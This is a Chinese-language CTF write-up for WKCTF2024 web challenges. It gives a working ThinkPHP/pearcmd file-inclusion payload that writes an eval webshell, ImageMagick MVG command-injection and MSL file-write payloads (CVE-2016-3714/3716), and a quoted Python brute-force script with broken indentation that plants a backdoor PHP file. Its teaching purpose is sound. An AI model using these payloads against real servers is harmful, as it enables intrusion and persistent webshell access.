Back

WKCTF2024

WKCTF2024 Web方向 WriteUp

不愧是娱乐赛,Web题环境都被破坏的差不多了

qiandao

这是真签到题,直接读取根目录flag即可

ez_tp

知识点:pearcmd的利用,出自P神的博客 Docker PHP裸文件本地包含综述
漏洞来源:QVD-2022-46174
影响版本:ThinkPHP 6.0.1 - 6.0.13,5.0.x,5.1.x

先来讲讲这个漏洞利用的技巧本身

利用条件:

  1. 安装有pear/pecl(Docker环境下默认安装)
  2. 存在路径遍历漏洞
  3. PHP开启了register_argc_argv配置(Docker环境下默认开启)

我们一个一个来讲

pear/pecl是PHP中用于管理扩展而使用的命令行工具(pear是pecl依赖的类库),在PHP7.4后,这个工具就不默认安装了,但是在PHP的Docker版本镜像中,都是默认安装的,路径为/usr/local/lib/php,文件名为pearcmd,有些版本中为pearcmd.php

作为一个命令行工具,且不在web目录下,一般情况下出现了安全隐患也无需担心,但倘若遇上了文件包含漏洞,可以遍历目录到这个工具,就可以利用其特性做文章

Docker环境下的PHP会默认开启register_argc_argv配置,当该选项开启时,我们的输入会被赋予给$argc$argv$_SERVER['argv']几个变量。在PHP的命令行模式下,应该不难理解这个配置的作用,但倘若是在PHP的Server模式下,这个配置又会起到什么作用呢?

详细的分析过程请移步P神博客,我这里只说结论:HTTP数据包中的query_string在请求模式为GET或HEAD的情况下,会被当作命令行参数,被赋值给$_SERVER['argv']

也就是说,在有文件包含漏洞的情况下,我们可以通过web访问pear命令行的功能,并能控制其参数

其中有我们可以利用的参数config-create,可以用于写文件

1
config-create <要写入的东西> <写入的文件的路径>

回到ThinkPHP的漏洞上来,当多语言特性开启时,我们可以用lang参数来包含任意php文件
这个漏洞建立在目录遍历和文件包含上,由于pearcmd的存在而扩大了威胁性

现在我们回过头来看这个题目

可以看到cookie中有think_lang字段,结合版本信息,确认存在漏洞

利用pearcmd往网站根目录写webshell,传参如下:

1
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['wuhu']);?>+/var/www/html/yulock.php

参数间用+分隔,这样pearcmd才会将其识别为命令行参数
把这串payload代换到命令行中就好理解了很多

1
/usr/local/lib/php/pearcmd config-create <?=@eval($_REQUEST['wuhu']);?> /var/www/html/yulock.php

注意,需要用burpsuite传参,不然写入代码中的<>会被解析,导致无法getshell

随后蚁剑连接即可

由于环境被玩坏了,flag中的内容是这样的(笑)

同样用到pearcmd利用的知识点的题目还有NewStarCTF2023的include 🍐(运气不错,刚好刷过)

ez_php

这题就得等其他师傅的wp出后再来补上了,自己还是太菜


好好好,复现的环境也炸了,只能在本地用vulhub复现了

知识点:php的imagick扩展利用、文件上传
漏洞来源:CVE-2016-3716

详细的漏洞原理在p神的博客里也有写:CVE-2016-3714 - ImageMagick 命令执行分析

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

具体的原理在p神的博客里写的很清楚,这里不展开分析

ImageMagick默认支持mvg图片格式,以文本格式写入的矢量图内容

我们可以通过构造一个文件内容为mvg格式的图片,其中写入恶意内容,就可以实现命令执行

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|whoami; ")'
pop graphic-context

当ImageMagick正常处理图片转换时就会触发其中的恶意内容,从而执行命令

通过vulhub复现下:

PHP的扩展 ImageMagick 也存在这个问题,而且只需要调用了Imagick类的构造方法,即可触发这个漏洞

本题使用的利用技巧来源于CVE-2016-3716
通过利用ImageMagick支持的msl协议,来进行文件的读取和写入,通过这个漏洞,可以将任意文件写为任意文件(比如将一个png文件写为后缀为php的webshell)

msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/upload/msl.txt'
popgraphic-context

/upload/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/uploads/image.png" />
<write filename="/var/www/shell.php" />
</image>

在本题中,上传的文件名会被修改,因此需要经过暴破才可利用
这里贴一下官方的脚本,可惜由于环境原因,没法自己测试了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import random
from time import sleep
import requests
def burpPNG():
    url="http://127.0.0.1:8081/"
    session = requests.session()
    file={'file':('./backdoor.png',open('./backdoor.png','rb'))}
    session.post(url=url,files=file)
    for i in range(10000,100000):
        response=session.get(f'{url}/{i}.png')
        if response.status_code==200:
            print(f'上传的png图⽚:{url}{i}.png')
            break
    return i

def burpMSL():
    url = "http://127.0.0.1:8081/"
    for i in range(1000, 10000):
        session = requests.session()
        response = session.get(f'{url}{i}.msl')
        if response.status_code == 200:
            print(f'上传的msl⽂件:{url}{i}.msl')
            break
    return i

def create_mslfile(fileNum):
url = "http://127.0.0.1:8081/"
    session = requests.session()
    content=f'''
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="./{fileNum}.png" />
<write filename="./backdoor.php" />
</image>
'''
    with open("backdoor.msl",'w') as file:
    file.write(content)
    file.close()
    file = {'file': ('./backdoor.msl', open('./backdoor.msl', 'rb'))}
    session.post(url=url, files=file)

def getShell(fileNum):
    content=f'''
为避免服务器误判为攻击,尝试访问如下地址:
http://127.0.0.1:8081/?backdoor=msl:./{fileNum}.msl
然后getshell地址为:
http://127.0.0.1:8081/backdoor.php?a=xxxxx
'''
    print(content)

if __name__ == '__main__':
    fileNUM=burpPNG()
    create_mslfile(fileNUM)
    mslNum=burpMSL()
    getShell(mslNum)